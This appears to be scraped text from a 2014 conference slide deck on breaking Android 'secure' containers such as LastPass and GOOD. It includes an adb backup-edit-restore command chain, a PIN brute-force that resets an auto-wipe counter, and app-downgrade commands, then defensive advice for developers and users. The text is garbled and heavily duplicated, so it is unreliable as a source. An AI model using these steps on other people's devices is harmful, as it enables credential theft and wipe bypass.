Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 124: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 125: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 126: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

